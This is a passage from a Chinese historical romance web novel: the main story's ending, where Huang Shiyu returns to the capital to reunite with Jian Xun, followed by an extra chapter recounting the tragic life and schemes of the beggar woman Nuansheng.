黄时雨在心里提醒自己清醒一点,她愤然抽回了手,这没来由的怒气是对自己生的,然后她把身体转回去,背对着他,惶恐掩饰着决堤的眼泪。 为什么又让她听到了丐婆的事儿。 简珣不以为意,从背后温柔抱着她,“我等黄大人采风回京。我会永远等着你和久哥儿。” “那丐婆,死了,对吧?”黄时雨哽咽道。 “死了。”简珣回。 “就是她,就是她害得我……”她像个孩子一样哭起来。 这是一场祭奠旧梦的哭泣。 以眼泪洗刷最后一丝不甘。 从此,她再不会想起这段噩梦。 即便有人在她耳边提起,她也不会害怕。 一切随丐婆的死亡戛然而止。 简珣着了慌,手足无措,定了定神才将她重新搂进怀中,温柔拍着她后背抚慰。 “没事了,我发誓以后再也不让你受委屈。”他与她交颈相依,“梅娘,等你回京,我再重新求娶你好不好?” “忘记前尘,这一次我们定会白头偕老,一生一世唯有彼此。” “我永远珍爱你,至死不渝……” 黄时雨难以置信仰脸望着他。 简珣微微挑眉,促狭道:“咦,你怎么不问‘是不是在骗人’呀?” “那你是在骗人吗?”她音色缥缈。 “所有好听的话都是真的,难听的全都是骗你的。”他偏头笑道。 “你……”她一时不知该说什么。 简珣并没有急于从她口中听到什么,只满足地拥着她柔软馨香的身体,直至日落月升,将会有更美的黎明。 这一天像梦一样。 黄时雨回去什么也没说,安静地躺在床上想了很久很久。 她竟从不知简允璋是如此爱慕她。 她与他的诸多无奈和被迫,从头至尾居然皆为他的心甘情愿。 次日,她把原委告知了姐姐黄莺枝。 黄莺枝脸上全然没有太大波动,轻描淡写道:“挺好的,这么点小事,你干嘛放在心中千回百转,一个男人罢了。” 她笑着拉起妹妹的手,一边送她出门上衙一边道:“他爱你,这是一件很美好的事。你也不讨厌他对不对,你,也喜欢他对不对!那就什么也别多想,用心体会吧。你若开心,一切都值得,若不开心就回来找姐姐。” “笑死了,一个正五品的女官,岂能惧怕男女之情。” 真正的自由是拿得起放得下,而不是连拿都不敢已放下。 黄时雨垂眸笑了笑,登上马车,“姐姐,我去上衙了。” “去吧。”黄莺枝莞尔。 简珣开始堂而皇之出入开化寺,时不时与黄时雨同乘而归,此事渐渐已经不再是秘密。 他没有非要梅娘给一个答案,到底回不回京,到底嫁不嫁给他,而是安心地享受每一次接近,直至五月初十,他不请自来,站在椿屿坊黄宅的角门前,欣然凝视她,笑意如水在眼波中荡漾。 黄时雨抿了抿唇,昂首道:“进来吧。久哥儿认生,突然见到你这么高一个陌生男子,兴许会害怕。” “我是他爹。”简珣极为自信。 无数个日夜里思念的小人儿被乳母抱了出来,看见阿娘立刻咿咿呀呀,张着小手儿要抱抱,“阿娘,阿娘……” 躲进阿娘怀里,他立刻警惕又好奇地觑着温和的简珣。 “长得可真像你阿娘。”简珣眼角微挑看着他。 久安并没有黄时雨想象的胆小,非但没有哭,一双紧盯简珣的眼睛水汪汪,清澈见底,哪怕被简珣抱走了,也只有一开始地微弱挣扎,很快又安静下来,继续一眨不眨望着陌生的男子。 “小子,你可要记住了,我是你阿爹。”简珣笑道。 “爹……”久安的奶音不算响亮,却十分清晰。 简珣那自持的神色动容不已。 久安早就会说话,有时能连着说长达三四个字的话,学会“阿爹”两个字简简单单。 小小的他将来长大或许就记不清周岁礼,却记得自己是个幸福的小孩,一生被爱,也非常善于爱别人。 有一就有二。 自从登堂入室,简珣就三不五时造访。 孩子都生了,有些规矩不讲也罢。 黄莺枝干脆睁一只眼闭一只眼。 闻遇哪里想到简珣的动作这么快,更没想到黄时雨竟没有将其拒之门外。 可是凭何要求她必须将简允璋拒之门外呢? 他有什么资格要求她吗? 两句话便将他自己问得哑口无言。 自嘲一笑。 这笑意在简允璋的脸上见过,饱含讥讽。 在简允璋眼里,他应是连“情敌”都不够格的。 有的人还没开始就输了。 闻遇的心情很不好,尽量不再出入临时画署,避开与黄时雨见面。 时间来到了深秋,南夷细作案初步告一段落,京师特使全部返京。 简珣在登船前数次回头,并没有瞧见熟悉的身影。 梅娘可忙啦,今儿又不是旬假,当然不会出现。 他早已预料,所以没有失望,但当梅娘抱着久哥儿的身影踏着晨光从码头款款出现,简珣的眼睛轰然点亮。 他慌忙挪向船尾,尽量离梅娘近一些。 黄时雨拿着久安的小手对他挥了挥。 简珣唇角微扬。 一群海鸥穿过碧蓝天际。 也不知梅娘有没有听清他努力大喊的一声:“我在京师等你。” 他会永远等着她。 就不信她真的狠心。 其实他知道那个人是肃王,早就知道了。 肃王抗婚在京师闹得沸沸扬扬。 但他忽然想通了,这是梅娘的秘密,那就永远埋在她心底吧。 可是他与肃王,应该不会结束。 霜降前清宁县的枫叶早已染红,黄时雨抱着久安,身后跟着一群仆婢。 她时常抱着久安练体力,在码头走一段路并不难。 小闻大人骑在马上,淡淡看了她一眼。 黄时雨笑道:“谢谢小闻大人成全,允我一日休沐。” 闻遇收回目光,“不用谢,要扣你俸禄。” 黄时雨莞尔:“遵命。” 闻遇嘴角牵了牵,驱马先行一步。 黄时雨舒了口气,一手遮阳,望向天际,晴空万里,洁白的云朵像一大团棉花,蓬松而柔软。 遥远的船上,简珣抬眸,入目是一团柔软的白云。 清宁县四季缤纷,春日漫长绚烂,两年时光犹如白驹过隙。 在时光的长河里,黄时雨偶尔还会听到曾让她流过眼泪的名字,如今的她已不会再悲伤。 成长是宽容的,因为强大才宽容。 简珣在京师安静地等待两年,每每听闻有清宁县归来的画师,他就会跑去渡口瞧一瞧。 渡口黄昏,除了一叶孤舟,什么都没有。 他想,明年或许就会回来的。 毕竟她的画已经被世人看见,价值百两甚至千两。 第三年,他坐在舟上,两手随意撑在身后,目送今年最后一艘官船离去,仰脸凝望夕阳。 没关系的,明年一定会回来。 他独坐小舟,眼眶微红。 “简允璋。” 可是熟悉的声音将他不断沉入水底的灵魂又拽了上来,简珣猛然惊醒,转过身,双手微微发抖地按住船舷。 黄时雨牵着四岁的久安,立在岸边,青丝如瀑在江风中飞舞。 “傻瓜,久安晕船,我们坐马车回来的。” 简珣笑了,眼眶却更红了,偏头扬了扬下巴道:“你才是傻瓜!” “傻瓜,你为什么回京呢?”他明知故问。 黄时雨抿了笑,“因为有人说要娶我,与我永远在一起。” 船夫已经划着小舟越来越近。 简珣等不及,飞身箭步跨上岸,朝她奔去。 【正文完】 第100章 春官正 丐婆线,换一个角度…… 暖笙,师父说发现她那天恰逢人间二月,东风日暖闻吹笙,就叫她暖笙。 她这一生有过许多身份,相士,武林高手,美人,春官正,外室,疯婆子,丐婆,唯独没有多少人好好叫一声暖笙。 “那我,是在哪里被师父发现的呢?”少女时期的她总有问不完的问题。 师父笑道:“河边,抬头是皓月星空,低头是烛火映照下波光粼粼的水面,水面上飘着小竹篮,你就在里面。” 皓月星空,波光粼粼,多么宁静美好。 只她不知那是上京著名的十里香坊,两岸画舫楼船,香云漫漫,娇声莺啼,红粉骷髅。 风流的师父酒醒后捡了一位落魄歌姬的弃婴。 师父说江湖人不拘小节,但求吃吃喝喝逍遥自在。 就是吃喝也要本钱,必须学本领。 古往今来,没有本领,就没有立世之本。 暖笙的骨子里天生擅长吃苦,无论拳脚棍棒还是刀剑长枪,学得有模有样,连师父都震惊,说她是吃这碗饭的,以后靠卖艺也能给他养老。 堂堂第一剑客,竟能说出让徒儿卖艺给他养老的话,委实没出息。 不过,师父可不仅仅是一名威震八方的剑客,更是名流贵胄争相拜访的相士。 师父说:“做相士才是咱们的正经营生,打打杀杀的多危险。” 她擦着剑,不解问:“为何?” 明明刀剑更好说话。 师父不屑地瞪她一眼,“我问你,你是想靠抢劫发财还是想那群傻子追着你送钱?” 暖笙大笑:“当然是后者。” “孺子可教也。” 师父开始授她《易经》。 “忽悠也讲究真才实学,上不得台面的是骗子,受人追捧的可以进司天台。”师父捋着山羊胡须,一派高深道,“星云,风和雨归为天象,所谓天象,占吉凶、定生死、推节气、制历法。” “《易经》,好东西啊,你得背熟咯,背熟就能做高明的骗子。此书弥纶万有,博大精深,乃古圣先贤经邦济世之书,知道我的意思了吧?”师父问。 她答:“哦,您的意思是先贤其实都是骗子。” 师父脸一板,“放肆,休得污蔑圣人。先贤当然不是骗子,说的话都有道理,有道理的话才助他们功成名就。不管你要做贤能还是骗子,都得熟读它,有了它,纵然是骗子,也是个令天下人信服的骗子。” 暖笙仅用一年就掌握《易经》精髓。 她问师父:“我现在是不是很厉害?” 师父老了,倚着大树啧啧两声,神色复杂。 暖笙有个秘密,天生就会读人心,世上的人,大部分只需看几眼说两句话,她就能猜到对方心里想什么。 不过也有特例,比方说师父,她永远都不知师父在想什么。 师父开始教她相士的精髓,“卦象不是算出的,而是看出的,”他笑吟吟指了指自己的眼睛,“用眼睛发现人们内心深埋的秘密,帮他们说出来,他们就会奉你若神明。” 暖笙张大了眼睛,“还可以这样?” 师父说是的,摸摸她脑袋,“不过你不用学,你天生就会。” 但师父没来得及教她做人得谦虚内敛,就溘然长逝。 失去师父之后,暖笙独自在远离人烟的村落生活四年,每天晨起,先在师父墓前练功,再吃饭读书,累了便去树上睡一觉。 这样的日子原本可以活一辈子也不腻,可是粮食不够吃一辈子,她得去一个叫做城镇的地方买。 从前有师父看护,她甚少直接面对同类,如今堂而皇之出现在人群,引来无数好奇。 来来往往,人们惊讶地看她。 她习惯隐居却并非不懂人心,相反,实在太懂了,接收到纷繁诡谲的目光,心中泛不起半分波澜。 有人叫她美人,愿意免费提供她最醇香的酒酿和华丽的屋子。 她喝主人的美酒,住主人华丽的屋子,还杀了一群围着她的男人,又杀了主人。 终于安静了,她如同一个好奇的孩子,在这栋华丽的宅院尽情玩耍。 直到有一日,封闭了数月的大门被一群身着甲胄的人推开,走在最前面的年轻男子,绝世风采,如仙君错涉人间,一袭白衣,出尘脱俗。 他淡漠的眉眼皱也未皱,扫视着满院尸体。 以及一脸天真的少女。 海棠,落花,还有尸臭。 少女如玉。 那天,他不动声色地观察着她,踱着步子漫漫绕了她一圈,而她也好奇地看着他,在他星辰一般的眼眸找不到半分迷醉与朦胧。 是她不好看了么? 为何都是男人,他对自己没有欲念呢?暖笙在心里纳闷。 “这里的人,都是你杀的?”他问。 她乖巧地回:“院子里的是,地窖里的不是。” 地窖的尸体是院子里的两倍。 他眸光深深,终于解下斗篷包住近乎半裸的她,轻轻松松将她单手抱了起来。 她也不反抗,任由他将自己带去未知的地方 离开了宛如人间炼狱的豪宅。 他亲自为她清洗伤口,喂药。 这可真是个漂亮的郎君,又香又干净,与所有男人都不一样。她笑盈盈,一口一口喝掉他喂的汤药。 也知道了他的姓名与身份。 简昭,最年轻的帝师,琅琊简氏现任家主。 从此,她是简昭手心的宝,锋利的剑。 作为一柄利剑,她还上知天文下知地理。 仅靠一朵花,一只飞鸟,一片薄云,即能预知未来几时有雨,几时干旱。 相士洞察人心,宛如神妖,本就自带神秘。 倘若这名相士兼有倾城之姿,想不出名都难。 两年后,她成了名满京师的第一大相士,金银财帛,取之不尽用之不竭,游走在豪门世家,名流贵胄间,如鱼得水。 天生吃这碗饭的料。 人们遇到解不开的难题,习惯问卜问卦,以求神明指引方向。 殊不知人间没有神明,有的只是洞悉了他们秘密的妖女。 那些秘密,有些是家长里短,有些是狼子野心。 只要简昭喜欢,她都会如数家珍说给他听。 他对她的表现满意极了。 望着心爱的人露出愉悦之色,她的心也会怦然而动。 爱极了这双她永远也看不透的双眼。 暖笙告诉他,“其实我不叫小花,我叫暖笙。” “暖笙。”他轻轻道。 连声音都这般醉人。 被心爱的人呼唤,半边身子已酥麻。 自己一定是生病了,简昭便是医她的药。 生病了得吃药,天经地义。 她要求简昭抱一抱。 他听话地倾身抱着她。 这样的举动令她满意极了,忘形环着他脖颈哼起了歌。 与他度过生命中最开心的一年。 成了他的外室。 她不以为耻反以为荣。 朝廷慕名请她出山进司天台,这正是简昭所希望的。 成为司天台春官正,发挥棋子最后的余温余热,在波诡云谲的局势添柴加火,借神明之口操控舆情,肆意妄为,扫除异己。 简昭手中的棋子多不胜数,她是其中较为光鲜的一枚,用起来最顺手,最省心,总能给他惊喜。 这使得她有资本在他跟前娇横野蛮,胡搅蛮缠。 稳固太子之位后,她逐渐变得不好应付,变得贪婪,脾气也愈发坏了。 当简昭成亲,有了第一个孩子,她的坏脾气达到顶峰,甚至不愿再与他于私宅中苟合。 师父只教了她谋生,却没有教她自爱。 她以为自己是天下第一,没有对手,要风得风要雨得雨,直至今时今日才惊觉,人心之异变。 没有人能抓住人心。 那就搞死他的学生,毁掉他的心血。 如此,她才能开开心心溜之大吉。 不意,这想法才将将实施就险些搞死自己。 神明的话也不是任何时候都管用,尤其与自己利益相悖之时。 她对太子的非长寿断言惹下滔天大祸,简昭急怒攻心,欲将她逐出司天台。 太伤自尊了。 司天台没什么了不起,她本来也不稀罕,却不甘心以被驱逐的方式离开。 简昭沉默,不得不为她收拾烂摊子。 然而险些失去一切的太子永远不会忘记这段屈辱,继位那日便是清算之日。 这种事,她早已算到。 所以事情不能做一半,开弓没有回头箭,太子必须死,亦能让简昭一败涂地。 胆大包天的她最终参与了瑾王谋反 无奈功败垂成,愿赌服输,她慷慨赴死。 巧合的是行刑之日竟是二月。 师父捡到她的那一天。 她缩在地牢的稻草堆,想着师父的眼眸,和简昭的一模一样,深邃无边,犹若沉渊。 看不透,看不穿。 引她步步深陷,非要探究个明白一解无边新奇不可。 探险之人难免要为“险”字付出代价。 她的代价是生命。 行刑那日,她被人拖进了奇怪的房间,脑袋蒙上一块黑布又被拖走,一直拖着,也不知那刑台究竟有多远。 睡着前,她还在想,太远了。 醒来时,清晨的日光映照,白花花,吓得她又闭上眼,良久才缓缓睁开。 静谧的旷野,杳无人烟。 不是地狱,竟是人间。 身下压着一叠银票,还有简昭的书信。 他命她回平南坊,不准再惹是生非,等风声过去再办牒引换个身份。 到头来一场空,暖笙哇哇大哭,竟只能回去继续做他的外室。 她从未哭得这般伤心,摧心挠肝。 简昭在平南坊再也没等到想等的人。 暖笙只身去了南方,经历了许多事,遇到过许多人,也因为争斗伤过筋脉,脑子变得不太好。 简昭,如今的安国公一直都在找寻她。 可惜再没有人能认出她模样。 她完全变了,隐入尘埃。 看上去比真实年纪老了二十岁,像个老婆婆。 因为脑子经常不清醒,也不知怎地又回到了宝天府,只是不想待在京师,便去乡下泽禾讨饭过日子。 她喜欢恶作剧,讨人嫌,看着人们生气跳脚的模样,立刻忍不住哈哈大笑。 直到遇见一个小姑娘,才恍如隔世。 暖笙从梦中惊醒,一眨不眨地盯着踮着脚欢快路过的黄时雨,犹如望着年少时的自己。 命运如此神奇,完全没有血缘关系的两个人,宛若时光洪流中双生。 望着黄时雨,仿佛望着不懂事的自己,暖笙忍不住在甜水铺子的大槐树下安了家,每天都想看到她,保护她。 直到发现了简珣。 简家的男子长得可真像啊。 当简珣明亮的目光追逐黄时雨天真的身影,暖笙就感到来自灵魂深处的厌弃,只想毁了这一切。 有时旧疾发作,她甚至分不清那是黄时雨还是自己,只拼命想要拦截,阻止一切发生。 直至,她将黄时雨完全当作了年少的自己。 她要好好爱自己,为自己挑选最好的良人,共度余生。 她可是大康第一女相师,曾经的春官正,没有什么是算不到的。 良人当然得俊美,高贵,压得住简氏。 俊美又高贵的小郎君,非肃王莫属。 她亲手编织红线,引导着黄时雨和肃王一次次相遇,本该毫无交集的两个人,在她的推动下终于发现了彼此。 想到简珣即将痛失所爱,永远错过属于自己的姻缘,暖笙就雀跃不已,足以抚平半生遗憾。 如她所料,高贵的肃王对黄时雨倾心不已,糟心的是黄时雨一味倔强,不肯就范。 连侧妃也不要。 殊不知肃王给什么名分不重要,只要进了肃王府,她一定会成为未来的王妃。 不肯就范的话唯有釜底抽薪,把小丫头送到肃王嘴边。 哪个男人能抗拒服用“情药”的心上人。 况且抗拒的后果是眼睁睁目睹心上人七窍流血而亡。 怜香惜玉的肃王在心痛与极致的快乐中得到了黄时雨的身体,却再无法真正走进她的心。 暖笙的红线越牵越乱。 就像她的人生一样。 每天十二个时辰,她清醒的时候并不多,浑浑噩噩。 “年少的她”,最终没有投入深情的肃王怀中,还是嫁给了简珣。 就像她东躲西藏数十年,又回到了宝天府。 这一生肆意妄为,也差不多该下去见师父了。 只没想到肃王恨她如斯,与她不死不休,抓到了还剩几口气的她。 临死前,她陡然回光返照,告诉肃王一个秘密,这个秘密使得肃王赏了她一个机会,再见简昭一眼的机会。 原来简昭也会老呀。 须发如雪。 望着苍老的他,她忽然很高兴,不再因自己的丑陋而自卑,送他一枚枣核,开心的去找师父了。 那之后的事,暖笙一无所知。 简昭为她收敛尸身,干干净净下葬。 这世上怎么会有人轻易接受不属于同圈层的人融入。 更没有无缘无故的好。 安国公面对分分合合的简珣和黄时雨,淡然处之,从未责罚。 哪怕是两人的第二次大婚,程氏动怒,斥责两人视姻缘如儿戏。 可他依然平静地同意了。 在他的授意下,老太君亲自帮忙操持,程氏哑口无言。 良辰吉日,新娘凤冠霞帔,再次嫁入简府。 这一次,是一生一世一双人,再无分离。 简昭隔着人群淡淡望了一眼,在下人的搀扶下,缓缓走向砌园。 那一眼,犹如故人归来。 暖笙没有幸福过,长得像暖笙的人总得幸福。【你现在阅读的是 】